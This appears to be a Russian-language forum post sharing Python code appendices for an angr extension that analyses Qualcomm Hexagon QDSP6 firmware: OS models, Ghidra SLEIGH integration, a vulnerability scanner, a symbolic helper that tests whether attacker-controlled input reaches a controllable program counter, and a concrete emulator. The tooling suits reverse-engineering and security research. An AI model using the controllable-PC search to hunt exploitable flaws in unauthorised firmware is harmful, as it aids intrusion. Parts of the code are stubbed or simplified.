        state = super().state_entry(*args, **kwargs)
        state.regs.r29 = self.proj.arch.initial_sp
        state.regs.r30 = self.proj.arch.initial_sp
        state.regs.r31 = self.proj.simos.return_deadend
        return state

    def state_blank(self, addr=None, **kwargs):
        state = super().state_blank(addr=addr, **kwargs)
        state.regs.r29 = self.proj.arch.initial_sp
        state.regs.pc  = addr if addr is not None else (self.proj.entry or 0)
        return state

    @property
    def return_deadend(self):
        return self.proj.simos._return_deadend

    @return_deadend.setter
    def return_deadend(self, val):
        self.proj.simos._return_deadend = val


class SimOSQuRT(SimOS):
    """SimOS for QuRT RTOS. Intercepts trap0(#0) and dispatches to SimProcedures."""
    name = "qurt"

    _syscall_hooks = {0x00: QurtThreadCreate, 0x42: QurtSyscallHook}

    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self._trap0_addr: Optional[int] = None

    def configure_project(self):
        super().configure_project()
        for n, proc_cls in self._syscall_hooks.items():
            self.proj.hook(0xFFFF0000 + n, proc_cls())

    def syscall_from_state(self, state):
        syscall_n = state.solver.eval(state.regs.r0)
        return self._syscall_hooks.get(syscall_n, QurtSyscallHook)

    def state_entry(self, *args, **kwargs):
        state = super().state_entry(*args, **kwargs)
        state.regs.r29 = self.proj.arch.initial_sp
        state.regs.r31 = self.proj.simos.return_deadend
        return state


def register_hexagon_simos():
    from angr.simos import register_simos
    try:
        register_simos("qdsp6-bare", SimOSQDSP6Bare)
        register_simos("qurt", SimOSQuRT)
    except Exception as e:
        log.warning("Could not register Hexagon SimOS: %s", e)

---

## F.6 pypcode_integration.py — интеграция с Ghidra SLEIGH

Python:
"""
pypcode / Ghidra SLEIGH integration for Hexagon QDSP6.

Two paths:
  1. Ghidra's Hexagon SLEIGH spec (compiled .sla file) → install into pypcode
  2. Fallback: custom HexagonLifter with pyvex engine

Copy hexagon.sla from:
  <GHIDRA>/Ghidra/Processors/Hexagon/data/languages/
to:
  <arch_hexagon_dir>/sleigh/hexagon.sla
Then call install_hexagon_spec().
"""

from __future__ import annotations
import logging, os, shutil
from pathlib import Path
from typing import Optional

log = logging.getLogger(__name__)

try:
    import pypcode
    _PYPCODE_PROC_DIR = Path(pypcode.SPECFILES_DIR)
    _HAS_PYPCODE = True
except ImportError:
    _HAS_PYPCODE = False
    _PYPCODE_PROC_DIR = None

HEXAGON_LANG_ID = "hexagon:LE:32:default"
_THIS_DIR = Path(__file__).parent
_HEXAGON_SPEC_DIR = _THIS_DIR / "sleigh"

_MINIMAL_LDEFS = '''<?xml version="1.0" encoding="UTF-8"?>
<language_definitions>
  <language processor="hexagon" endian="little" size="32" variant="default"
            version="1.0" slafile="hexagon.sla" processorspec="hexagon.pspec"
            id="hexagon:LE:32:default">
    <description>Qualcomm Hexagon QDSP6 (32-bit LE)</description>
    <compiler name="default" spec="hexagon.cspec" id="default"/>
  </language>
</language_definitions>'''

_MINIMAL_PSPEC = '''<?xml version="1.0" encoding="UTF-8"?>
<processor_spec>
  <programcounter register="PC"/>
  <register_data>
    <register name="R0"  bitsize="32" offset="0x00"/>
    <register name="R29" bitsize="32" offset="0x74"/>
    <register name="R30" bitsize="32" offset="0x78"/>
    <register name="R31" bitsize="32" offset="0x7c"/>
    <register name="PC"  bitsize="32" offset="0xa4"/>
    <register name="SP"  bitsize="32" offset="0x74"/>
    <register name="LR"  bitsize="32" offset="0x7c"/>
  </register_data>
</processor_spec>'''


def install_hexagon_spec(sla_path: Optional[Path] = None,
                         ghidra_proc_dir: Optional[Path] = None) -> bool:
    """Install Hexagon SLEIGH spec into pypcode's processor directory."""
    if not _HAS_PYPCODE:
        log.error("pypcode not available")
        return False

    dest = _PYPCODE_PROC_DIR / "Hexagon" / "data" / "languages"
    dest.mkdir(parents=True, exist_ok=True)

    (dest / "Hexagon.ldefs").write_text(_MINIMAL_LDEFS)
    (dest / "hexagon.pspec").write_text(_MINIMAL_PSPEC)

    if ghidra_proc_dir:
        for f in Path(ghidra_proc_dir).glob("*.sla"):
            shutil.copy(f, dest / f.name)
            log.info("Installed %s", f.name)
        return True

    if sla_path:
        shutil.copy(sla_path, dest / "hexagon.sla")
        return True

    pkg_sla = _HEXAGON_SPEC_DIR / "hexagon.sla"
    if pkg_sla.exists():
        shutil.copy(pkg_sla, dest / "hexagon.sla")
        return True

    log.warning("No hexagon.sla found. Copy from Ghidra installation.")
    return False


def get_pypcode_arch() -> Optional["pypcode.ArchLanguage"]:
    if not _HAS_PYPCODE:
        return None
    try:
        for arch in pypcode.Arch.enumerate():
            for lang in arch.languages:
                if "hexagon" in lang.id.lower():
                    return lang
    except Exception:
        pass
    return None


def try_create_hexagon_pcode_arch():
    lang = get_pypcode_arch()
    if lang is None:
        return None
    from archinfo import ArchPcode
    return ArchPcode(lang)

---

## F.7 analyses.py — HexagonSymExHelper / HexagonVulnScanner

Python:
"""
Hexagon-specific analyses for angr.

  HexagonStackTracker  — SP/frame tracking
  HexagonCFGFix        — CFG post-processing for VLIW
  HexagonSymExHelper   — symbolic execution helper API
  HexagonVulnScanner   — automated vuln pattern scanner
  load_hexagon_project — convenience loader
"""

from __future__ import annotations
import logging
from typing import Optional, Iterable
import angr
from angr import Analysis, register_analysis
from angr.knowledge_plugins.functions import Function

log = logging.getLogger(__name__)


class HexagonStackTracker:
    def __init__(self, project: angr.Project):
        self.project = project

    def get_frame_size(self, func: Function) -> Optional[int]:
        try:
            block = self.project.factory.block(func.addr)
        except Exception:
            return None
        for insn in block.disassembly.insns:
            if "allocframe" in insn.mnemonic:
                try:
                    imm = int(insn.op_str.strip("# ").split(",")[0].strip("#() "))
                    return imm + 8
                except Exception:
                    pass
        return None


class HexagonCFGFix(Analysis):
    """Fix-ups for VLIW packet semantics, ENDLOOP, tail-call detection."""
    def __init__(self, cfg):
        self.cfg = cfg
        self._fix_endloops()

    def _fix_endloops(self):
        for node in list(self.cfg.graph.nodes()):
            try:
                block = self.project.factory.block(node.addr)
            except Exception:
                continue
            for insn in block.disassembly.insns:
                if "endloop" in insn.mnemonic:
                    log.debug("ENDLOOP at 0x%x", node.addr)

    def _fix_tail_calls(self):
        pass


register_analysis(HexagonCFGFix, "HexagonCFGFix")


class HexagonSymExHelper:
    """
    Helper for symbolic execution on Hexagon QDSP6 binaries.

    Usage::
        helper = HexagonSymExHelper(project)
        sm = helper.explore_from(addr, find=target_addr)
        states = helper.find_controlled_pc(addr, input_buf_addr)
    """

    def __init__(self, project: angr.Project):
        self.project = project

    def blank_state(self, addr: int, **kwargs) -> "angr.SimState":
        state = self.project.factory.blank_state(addr=addr, **kwargs)
        state.regs.r29 = self.project.arch.initial_sp
        try:
            state.regs.r31 = self.project.simos.return_deadend
        except Exception:
            state.regs.r31 = 0xDEADDEAD
        return state

    def explore_from(self, start: int,
                     find: int | Iterable[int] = None,
                     avoid: int | Iterable[int] = None,
                     timeout: int = 60,
                     max_states: int = 128) -> "angr.SimulationManager":
        state = self.blank_state(start)
        sm = self.project.factory.simulation_manager(state)
        sm.use_technique(angr.exploration_techniques.LoopSeer(bound=10))
        sm.use_technique(angr.exploration_techniques.LengthLimiter(max_length=10000))
        kwargs_explore = {}
        if find is not None:  kwargs_explore["find"] = find
        if avoid is not None: kwargs_explore["avoid"] = avoid
        sm.explore(**kwargs_explore)
        return sm

    def find_controlled_pc(self, start: int,
                           controlled_input_addr: int,
                           input_len: int = 256) -> list:
        """Check if attacker-controlled input can reach a controllable PC."""
        state = self.blank_state(start)
        sym_data = state.solver.BVS("attacker_input", input_len * 8)
        state.memory.store(controlled_input_addr, sym_data)

        sm = self.project.factory.simulation_manager(state)
        sm.use_technique(angr.exploration_techniques.DFS())
        sm.run(n=50000)

        vuln_states = []
        for s in sm.deadended + sm.active:
            pc = s.regs.pc
            try:
                if pc.symbolic and s.solver.symbolic(pc):
                    vuln_states.append(s)
            except Exception:
                pass
        return vuln_states


class HexagonVulnScanner(Analysis):
    """Automated vulnerability pattern scanner for Hexagon QDSP6 binaries."""

    def __init__(self):
        self.results = []
        self._sym_helper = HexagonSymExHelper(self.project)

    def scan_stack_overflows(self, func_addrs: list[int] = None) -> list[dict]:
        findings = []
        st = HexagonStackTracker(self.project)
        if func_addrs is None:
            try:
                cfg = self.project.analyses.CFGFast()
                func_addrs = list(cfg.functions.keys())
            except Exception:
                return findings

        for addr in func_addrs[:200]:
            try:
                func = self.project.kb.functions[addr]
                frame_sz = st.get_frame_size(func)
                if frame_sz and frame_sz > 0x1000:
                    findings.append({"type": "large_frame", "addr": addr,
                                     "frame_size": frame_sz, "severity": "medium"})
            except Exception:
                pass
        self.results.extend(findings)
        return findings

    def run_full_scan(self) -> list[dict]:
        self.scan_stack_overflows()
        return self.results


register_analysis(HexagonVulnScanner, "HexagonVulnScanner")


def load_hexagon_project(binary: str, base_addr: int = 0,
                          backend: str = "blob", arch: str = "QDSP6",
                          **kwargs) -> angr.Project:
    """Load a Hexagon QDSP6 binary into an angr project."""
    from . import setup_hexagon
    setup_hexagon()

    if backend == "blob":
        return angr.Project(
            binary,
            main_opts={"backend": "blob", "arch": arch, "base_addr": base_addr},
            **kwargs,
        )
    else:
        return angr.Project(binary, main_opts={"arch": arch}, **kwargs)

---

## F.8 emulator.py — конкретный эмулятор Hexagon

Python:
"""
Hexagon QDSP6 concrete emulator.
Executes instructions from a flat memory model without full angr.

Usage::
    emu = HexagonEmulator()
    emu.mem.load_bytes(0x1000, shellcode)
    emu.regs.pc = 0x1000
    emu.regs.sp = 0xBFFF0000
    emu.run(max_steps=1000)
    print(emu.regs.dump())
"""

from __future__ import annotations
import struct, logging
from typing import Optional, Callable, Dict, Tuple
from .disassembler import HexagonDisassembler, HexPacket, HexInsn, _bits, _sext
from .registers import gpr_offset, pred_offset, PC_OFFSET

log = logging.getLogger(__name__)


class HexagonRegFile:
    __slots__ = ("_gpr", "_pred", "_pc", "_sa", "_lc", "_usr")

    def __init__(self):
        self._gpr  = [0] * 32
        self._pred = [0] * 4
        self._pc   = 0
        self._sa   = [0, 0]
        self._lc   = [0, 0]
        self._usr  = 0

    def r(self, n: int) -> int:  return self._gpr[n] & 0xFFFFFFFF
    def wr(self, n: int, val: int): self._gpr[n] = val & 0xFFFFFFFF
    def p(self, n: int) -> int:  return self._pred[n] & 0xFF
    def wp(self, n: int, val: int): self._pred[n] = val & 0xFF

    @property
    def pc(self) -> int:  return self._pc & 0xFFFFFFFF
    @pc.setter
    def pc(self, val: int): self._pc = val & 0xFFFFFFFF

    @property
    def sp(self) -> int: return self._gpr[29]
    @sp.setter
    def sp(self, val: int): self._gpr[29] = val & 0xFFFFFFFF

    def dump(self) -> str:
        lines = []
        for i in range(0, 32, 4):
            lines.append("  ".join(f"R{i+j:02d}={self._gpr[i+j]:08x}" for j in range(4)))
        lines.append(f"  PC={self._pc:08x}  SP={self._gpr[29]:08x}  "
                     f"FP={self._gpr[30]:08x}  LR={self._gpr[31]:08x}")
        lines.append(f"  P0={self._pred[0]:02x}  P1={self._pred[1]:02x}  "
                     f"P2={self._pred[2]:02x}  P3={self._pred[3]:02x}")
        return "\n".join(lines)


class HexagonMemory:
    """Page-granular flat memory model."""
    def __init__(self):
        self._pages: Dict[int, bytearray] = {}
        self._PAGE_SIZE = 0x1000

    def _page_of(self, addr: int) -> Tuple[int, bytearray]:
        base = addr & ~(self._PAGE_SIZE - 1)
        if base not in self._pages:
            self._pages[base] = bytearray(self._PAGE_SIZE)
        return base, self._pages[base]

    def load_bytes(self, addr: int, data: bytes):
        off = 0
        while off < len(data):
            base, page = self._page_of(addr + off)
            po = (addr + off) - base
            chunk = min(self._PAGE_SIZE - po, len(data) - off)
            page[po:po + chunk] = data[off:off + chunk]
            off += chunk

    def read(self, addr: int, size: int) -> bytes:
        result = bytearray(size)
        off = 0
        while off < size:
            base, page = self._page_of(addr + off)
            po = (addr + off) - base
            chunk = min(self._PAGE_SIZE - po, size - off)
            result[off:off + chunk] = page[po:po + chunk]
            off += chunk
        return bytes(result)

    def read32(self, addr: int) -> int:
        return struct.unpack_from("<I", self.read(addr, 4))[0]

    def write32(self, addr: int, val: int):
        self.load_bytes(addr, struct.pack("<I", val & 0xFFFFFFFF))

    def write8(self, addr: int, val: int):
        self.load_bytes(addr, bytes([val & 0xFF]))


class HexagonEmulator:
    """Concrete Hexagon QDSP6 emulator for fast execution of short snippets."""

    def __init__(self):
        self.regs = HexagonRegFile()
        self.mem  = HexagonMemory()
        self._disasm = HexagonDisassembler()
        self._hooks: Dict[int, Callable] = {}
        self._stop = False
        self.trace: list[Tuple[int, str]] = []
        self.enable_trace = False

    def hook(self, addr: int, callback: Callable):
        self._hooks[addr] = callback

    def stop(self):
        self._stop = True

    def step(self) -> bool:
        pc = self.regs.pc
        if pc in self._hooks:
            self._hooks[pc](self)
            if self._stop:
                return False

        try:
            raw = self.mem.read(pc, 16)
        except Exception:
            return False

        pkt = self._disasm.decode_packet(raw, pc)
        if pkt is None:
            return False

        if self.enable_trace:
            for insn in pkt.insns:
                self.trace.append((insn.addr, f"{insn.mnem} {insn.text}"))

        pending_gpr:  Dict[int, int] = {}
        pending_pred: Dict[int, int] = {}
        next_pc = (pc + pkt.size) & 0xFFFFFFFF

        for insn in pkt.insns:
            result = self._exec_insn(insn, pending_gpr, pending_pred)
            if result is not None:
                next_pc = result

        for n, v in pending_gpr.items():  self.regs.wr(n, v)
        for n, v in pending_pred.items(): self.regs.wp(n, v)

        if pkt.endloop0 and self.regs._lc[0] > 1:
            self.regs._lc[0] -= 1
            next_pc = self.regs._sa[0]
        elif pkt.endloop0:
            self.regs._lc[0] = 0

        self.regs.pc = next_pc
        return not self._stop

    def _exec_insn(self, insn: HexInsn,
                   gpend: Dict[int, int],
                   ppend: Dict[int, int]) -> Optional[int]:
        w = insn.word
        r = self.regs.r
        wr = lambda n, v: gpend.update({n: v & 0xFFFFFFFF})
        wp = lambda n, v: ppend.update({n: v & 0xFF})
        mem = self.mem
        major = _bits(w, 31, 28)

        if major in (0b0000, 0b0001, 0b0010, 0b0011):
            off = _sext(_bits(w, 27, 1) << 1, 28)
            tgt = (insn.addr + off) & 0xFFFFFFFF
            is_call = major in (0b0001, 0b0011)
            is_cond = major in (0b0010, 0b0011)
            if is_call:
                wr(31, (insn.addr + insn.size) & 0xFFFFFFFF)
                return tgt
            if is_cond:
                pnum = _bits(w, 21, 21)
                inv  = _bits(w, 13, 13)
                taken = (self.regs.p(pnum) != 0) ^ bool(inv)
                return tgt if taken else None
            return tgt

        if major == 0b0100:
            b = _bits(w, 27, 24)
            if b == 0b0101:  return r(_bits(w, 20, 16))   # jumpr
            if b == 0b0100:  wr(31, (insn.addr + insn.size) & 0xFFFFFFFF); return r(_bits(w, 20, 16))  # callr

        if major == 0b1010:  # ALU32
            b = _bits(w, 27, 24)
            rd = _bits(w, 4, 0); rs = _bits(w, 20, 16); rt = _bits(w, 12, 8)
            if b == 0b0000:
                op = _bits(w, 24, 21)
                ops = {0: lambda a,b: a+b, 1: lambda a,b: a-b,
                       2: lambda a,b: a&b, 3: lambda a,b: a|b}
                fn = ops.get(op)
                if fn: wr(rd, fn(r(rs), r(rt)))
            elif b == 0b1000: wr(rd, r(rs))

        if major in (0b1000, 0b1101):  # load
            if _bits(w, 27, 24) == 0b0000:
                mtype = _bits(w, 26, 24) & 7
                rd = _bits(w, 12, 8); rs = _bits(w, 20, 16)
                off = _sext(_bits(w, 10, 0), 11)
                addr = (r(rs) + off) & 0xFFFFFFFF
                if mtype == 4: wr(rd, mem.read32(addr))

        if major in (0b1001, 0b1110):  # store / allocframe
            if insn.mnem == "allocframe":
                imm = _bits(w, 7, 3) << 3
                sp = r(29)
                new_sp = (sp - imm - 8) & 0xFFFFFFFF
                mem.write32(new_sp + 4, r(30))
                mem.write32(new_sp + 8, r(31))
                wr(29, new_sp); wr(30, sp)

        return None

    def run(self, max_steps: int = 100_000) -> str:
        self._stop = False
        for _ in range(max_steps):
            if not self.step():
                return "stopped"
        return "max_steps"

    def run_until(self, target_pc: int, max_steps: int = 1_000_000) -> bool:
        for _ in range(max_steps):
            if self.regs.pc == target_pc: return True
            if not self.step(): return False
        return self.regs.pc == target_pc


def try_unicorn_hexagon():
    """Check if unicorn 2.x Hexagon backend is available."""
    try:
        import unicorn
        if not hasattr(unicorn, "UC_ARCH_HEXAGON"):
            return None, False
        mu = unicorn.Uc(unicorn.UC_ARCH_HEXAGON, unicorn.UC_MODE_LITTLE_ENDIAN)
        return mu, True
    except Exception:
        return None, False

---

## F.9 disassembler.py и lifter.py

Файлы disassembler.py (738 строк) и lifter.py (708 строк) содержат:

disassembler.py — HexagonDisassembler:
  • HexInsn / HexPacket dataclasses
  • Parse-bit декодирование (00=duplex, 01/11=end, 10=continue)
  • HexagonDecoder с dispatch по major opcode [31:28]:
  - _decode_j — J-type (jump/call с PC-rel offset)
  - _decode_cr — CR-type (jumpr, callr, loop0/1, trap0/1)
  - _decode_ld / _decode_st — load/store с post-increment
  - _decode_alu32 — ALU32 (add/sub/and/or/xor, cmp.gt/gtu, shifts)
  - _decode_xtype — XTYPE (mpyi/mpyu, combine, zxtb/sxth, clb)
  - _decode_duplex — 16-bit sub-instructions
  • HexagonDisassembler.decode_packet() — парсинг VLIW пакета (1-4 слота)
  • ENDLOOP detection через parse bits

lifter.py — HexagonLifter (pyvex):
  • _IRBuilder — обёртка для построения VEX IR стейтментов
  • _PacketLifter — транслятор VLIW пакета в VEX IR с deferred writes
  • Полная трансляция: J-type, CR-type (jumpr/callr/loop), ALU32, XTYPE, load/store, allocframe/deallocframe
  • HexagonLifter(Lifter) — pyvex Lifter subclass для QDSP6
  • Регистрируется при импорте: pyvex_register(HexagonLifter, "QDSP6")

Полные исходники доступны в репозитории по пути angr/arch_hexagon/.


---
👍5 ❤️1
добавил больше приложений кода

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.